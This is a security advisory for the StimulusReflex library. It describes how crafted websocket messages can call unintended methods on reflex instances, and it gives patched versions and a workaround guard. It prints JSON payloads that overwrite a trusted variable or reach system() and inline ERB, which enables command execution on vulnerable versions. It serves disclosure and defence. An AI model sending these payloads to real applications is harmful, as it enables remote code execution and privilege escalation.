GHSA-f78j-4w3g-4q65

### Summary More methods than expected can be called on reflex instances. Being able to call some of them has security implications.

### Details To invoke a reflex a websocket message of the following shape is sent: ```json { "target": "[class_name]#[method_name]", "args": [] } ``` The server will proceed to instantiate `reflex` using the provided `class_name` as long as it extends `StimulusReflex::Reflex`. It then attempts to call `method_name` on the instance with the provided arguments [ref](https://github.com/stimulusreflex/stimulus_reflex/blob/0211cad7d60fe96838587f159d657e44cee51b9b/app/channels/stimulus_reflex/channel.rb#L83):

```ruby method = reflex.method method_name required_params = method.parameters.select { |(kind, _)| kind == :req } optional_params = method.parameters.select { |(kind, _)| kind == :opt }

if arguments.size >= required_params.size && arguments.size <= required_params.size + optional_params.size reflex.public_send(method_name, *arguments) end ```

This is problematic as `reflex.method(method_name)` can be more methods than those explicitly specified by the developer in their reflex class. A good example is the `instance_variable_set` method.

<details>

<summary>Read more</summary> Let's imagine a reflex that uses `@user` as a trusted variable in an `after_reflex` callback.

This variable can be overwritten using the following message: ```json { "target": "ChatReflex#instance_variable_set", "args": ["@user", "<admin-id>"] } ```

Here are other interesting methods that were found to be available for the [ChatReflex sample reflex](https://github.com/hopsoft/stimulus_reflex_expo/blob/dcce8c36a6782d1e7f57f0e2766a3f6fd770b3b1/app/reflexes/chat_reflex.rb) - `remote_byebug`: bind a debugging server - `pry`: drop the process in a REPL session

All in all, only counting `:req` and `:opt` parameters helps. For example around [version 1.0](https://github.com/stimulusreflex/stimulus_reflex/blob/1f610b636abfed27de2c61104aebd1ac98180d5b/lib/stimulus_reflex/channel.rb#L41) only `.arity` was checked which allowed access to the `system` method (`.arity == -1`) ```json { "target": "ChatReflex#system", "args": ["[command here]"] } ``` Using `public_send` instead of `send` does not help but the following payloads **do not** work since `:rest` parameters are not counted in the current version ```json { "target": "ChatReflex#send", "args": ["system", "[command here]"] } ``` ```json { "target": "ChatReflex#instance_eval", "args": ["system('[command here]')"] } ```

</details>

Pre-versions of 3.5.0 added a `render_collection` method on reflexes with a `:req` parameter. Calling this method could lead to arbitrary code execution: ```json { "target": "StimulusReflex::Reflex#render_collection", "args": [ { "inline": "<% system('[command here]') %>" } ] } ```

### Patches

Patches are [available on RubyGems](https://rubygems.org/gems/stimulus_reflex) and on [NPM](https://npmjs.org/package/stimulus_reflex).

The patched versions are: - [`3.4.2`](https://github.com/stimulusreflex/stimulus_reflex/releases/tag/v3.4.2) - [`3.5.0.rc4`](https://github.com/stimulusreflex/stimulus_reflex/releases/tag/v3.5.0.rc4)

### Workaround

You can add this guard to mitigate the issue if running an unpatched version of the library.

1.) Make sure all your reflexes inherit from the `ApplicationReflex` class 2.) Add this `before_reflex` callback to your `app/reflexes/application_reflex.rb` file:

```ruby class ApplicationReflex < StimulusReflex::Reflex before_reflex do ancestors = self.class.ancestors[0..self.class.ancestors.index(StimulusReflex::Reflex) - 1] allowed = ancestors.any? { |a| a.public_instance_methods(false).any?(method_name.to_sym) }

raise ArgumentError.new("Reflex method '#{method_name}' is not defined on class '#{self.class.name}' or on any of its ancestors") if !allowed end end ```